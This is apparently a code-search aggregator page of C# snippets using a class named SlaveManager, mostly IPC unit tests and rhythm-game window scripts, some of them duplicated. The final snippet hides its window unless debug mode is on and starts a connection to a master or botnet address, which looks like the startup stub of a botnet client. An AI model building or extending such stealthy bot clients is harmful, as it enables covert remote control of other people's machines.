Ejemplo n.º 1
0
        public void DoSyncSlaveSimpleTest()
        {
            using (SlaveManager currentSlaveManager = new SlaveManager()) {
                IIPCGUID slaveReceaverGUID = new IPCReceaverGUID(currentSlaveManager.LaunchSlave());
                // wait for slave is launched and ininialized;
                Thread.CurrentThread.Join(3000);
                using (BaseIPCDispatcher dispatcher = new BaseIPCDispatcher(slaveReceaverGUID)) {
                    TestSyncMessage test = new TestSyncMessage(dispatcher.Receaver);
                    test.StrIn   = "Hi Slave!";
                    test.TimeOut = SlaveResponces.SyncMessageSlaveDelay + 2000;
                    IPCDispatchResult dispatchResult = dispatcher.Dispatch(test);
                    Assert.IsTrue(dispatchResult == IPCDispatchResult.Success, "Unable to send message error because of the reason {0}", dispatchResult);
                    Assert.IsTrue(String.Equals(test.StrOut, SlaveResponces.TestSyncResponceString), "Time is up");
                }

                using (BaseIPCDispatcher dispatcher = new BaseIPCDispatcher(slaveReceaverGUID)) {
                    TestSyncMessage test = new TestSyncMessage(dispatcher.Receaver);
                    test.StrIn   = "Hi Slave!";
                    test.TimeOut = SlaveResponces.SyncMessageSlaveDelay - 2000;
                    IPCDispatchResult dispatchResult = dispatcher.Dispatch(test);
                    Assert.IsTrue(dispatchResult
                                  == IPCDispatchResult.Timeout, "Timeout is an expected but {0} is dispatch result", dispatchResult);
                }
            }
        }
        public void DoSyncSlaveSimpleTest()
        {
            using (SlaveManager currentSlaveManager = new SlaveManager()) {
                IIPCGUID slaveReceaverGUID = new IPCReceaverGUID(currentSlaveManager.LaunchSlave());
                // wait for slave is launched and ininialized;
                Thread.CurrentThread.Join(3000);
                using (BaseIPCDispatcher dispatcher = new BaseIPCDispatcher(slaveReceaverGUID)) {
                    TestSyncMessage test = new TestSyncMessage(dispatcher.Receaver);
                    test.StrIn = "Hi Slave!";
                    test.TimeOut = SlaveResponces.SyncMessageSlaveDelay + 2000;
                    IPCDispatchResult dispatchResult = dispatcher.Dispatch(test);
                    Assert.IsTrue(dispatchResult == IPCDispatchResult.Success, "Unable to send message error because of the reason {0}", dispatchResult);
                    Assert.IsTrue(String.Equals(test.StrOut, SlaveResponces.TestSyncResponceString), "Time is up");
                }

                using (BaseIPCDispatcher dispatcher = new BaseIPCDispatcher(slaveReceaverGUID)) {
                    TestSyncMessage test = new TestSyncMessage(dispatcher.Receaver);
                    test.StrIn = "Hi Slave!";
                    test.TimeOut = SlaveResponces.SyncMessageSlaveDelay - 2000;
                    IPCDispatchResult dispatchResult = dispatcher.Dispatch(test);
                    Assert.IsTrue(dispatchResult
                        == IPCDispatchResult.Timeout, "Timeout is an expected but {0} is dispatch result", dispatchResult);
                }
            }
        }
Ejemplo n.º 3
0
        public void runScript(Chart chart, Game game)
        {
            Input.focusInput = false;
            colWindows       = new SlaveManager[4];


            for (int i = 0; i < 4; i++)
            {
                int startX = 600;
                colWindows[i] = new SlaveManager(i.ToString(), colX, colY);
                colWindows[i].MoveWindow(startX + (i * (colX * (-23))), -500);

                //colWindows[i].MoveWindow(1000, 50);
            }
            colWindows[0].SetWindowTitle("<-");
            colWindows[1].SetWindowTitle("/\\");
            colWindows[2].SetWindowTitle("\\/");
            colWindows[3].SetWindowTitle("->");

            for (int i = 0; i < 4; i++)
            {
                chart.chartEventHandler.moveCollumn(i, 0, -60);
            }
            game.addGameObject(new Visual_Gameobject_stuff.FirstArrows(chart));
            //test shit
        }
Ejemplo n.º 4
0
 public void mainScript(Chart chart, Game game, double time)
 {
     if (chart.beat >= 60 && !activates[0])
     {
         activates[0] = true;
         game.addGameObject(new Visual_Gameobject_stuff.FirstNotes(chart));
     }
     if (chart.beat >= 132.25 && !activates[1] && chart.beat <= 195)
     {
         activates[1] = true;
         game.addGameObject(new Visual_Gameobject_stuff.CollumnWindows(colWindows, chart));
     }
     if (chart.beat >= 195 && !activates[2] && chart.beat <= 220)
     {
         game.display.DisableFilter();
         activates[2] = true;
         SlaveManager.CloseAll();
         Arrow.movementAmount = 75;
     }
     if (chart.beat >= 220 && !activates[3])
     {
         //just for debug this line here
         game.display.DisableFilter();
         activates[3] = true;
         game.addGameObject(new Visual_Gameobject_stuff.LastNotes(chart));
     }
     if (chart.beat >= 292 && !activates[4])
     {
         game.addGameObject(new Visual_Gameobject_stuff.Finale(chart));
         activates[4] = true;
     }
 }
Ejemplo n.º 5
0
        public override void Start(Game game)
        {
            manager  = new SlaveManager("A", 50, 50);
            manager2 = new SlaveManager("B", 30, 30);
            manager3 = new SlaveManager("C", 20, 50);

            Input.FocusInput = false;
            visualTest       = new Visual();
            visualTest.LoadBMP("RightReceiver.bmp");
            manager.visuals.Add(visualTest);
            manager2.visuals.Add(visualTest);
            manager3.visuals.Add(visualTest);
        }
 public void DoAsyncComplexSlaveTest()
 {
     using (SlaveManager currentSlaveManager = new SlaveManager()) {
         IIPCGUID slaveReceaverGUID = new IPCReceaverGUID(currentSlaveManager.LaunchSlave());
         // wait for slave is launched and ininialized
         Thread.CurrentThread.Join(3000);
         using (BaseIPCDispatcher dispatcher = new BaseIPCDispatcher(slaveReceaverGUID)) {
             TestAsyncComplexMessage test = new TestAsyncComplexMessage(ReceaverHolder.GlobalApplicationReceaver.ReceaverID, null);
             Assert.IsTrue(dispatcher.Dispatch(test) == IPCDispatchResult.Success, "Unable to send message");
         }
         Thread.CurrentThread.Join(3000);
         Assert.IsTrue(responceFromSlaveReceaved, "Slave keep silence =(");
     }
 }
 public void DoAsyncComplexSlaveTest()
 {
     using (SlaveManager currentSlaveManager = new SlaveManager()) {
         IIPCGUID slaveReceaverGUID = new IPCReceaverGUID(currentSlaveManager.LaunchSlave());
         // wait for slave is launched and ininialized
         Thread.CurrentThread.Join(3000);
         using (BaseIPCDispatcher dispatcher = new BaseIPCDispatcher(slaveReceaverGUID)) {
             TestAsyncComplexMessage test = new TestAsyncComplexMessage(ReceaverHolder.GlobalApplicationReceaver.ReceaverID, null);
             Assert.IsTrue(dispatcher.Dispatch(test) == IPCDispatchResult.Success, "Unable to send message");
         }
         Thread.CurrentThread.Join(3000);
         Assert.IsTrue(responceFromSlaveReceaved, "Slave keep silence =(");
     }
 }
Ejemplo n.º 8
0
        public MainWindow()
        {
            InitializeComponent();

            if (Config.debug)
            {
                // If debug, show window
                this.ShowInTaskbar = true;
                this.Visibility    = Visibility.Visible;
                this.Background    = Brushes.Azure;
            }

            manager = new SlaveManager();
            manager.networkManager  = new SlaveNetworkManager();
            manager.commandsManager = new SlaveCommandsManager(manager.networkManager);

            // Start the processing in a new thread as a task
            Task mainTask;

            mainTask = Config.botnetAdress == null ?
                       new Task(() => manager.StartWithMasterConnection()) :
                       new Task(() => manager.StartWithBotnet());
            mainTask.Start();
        }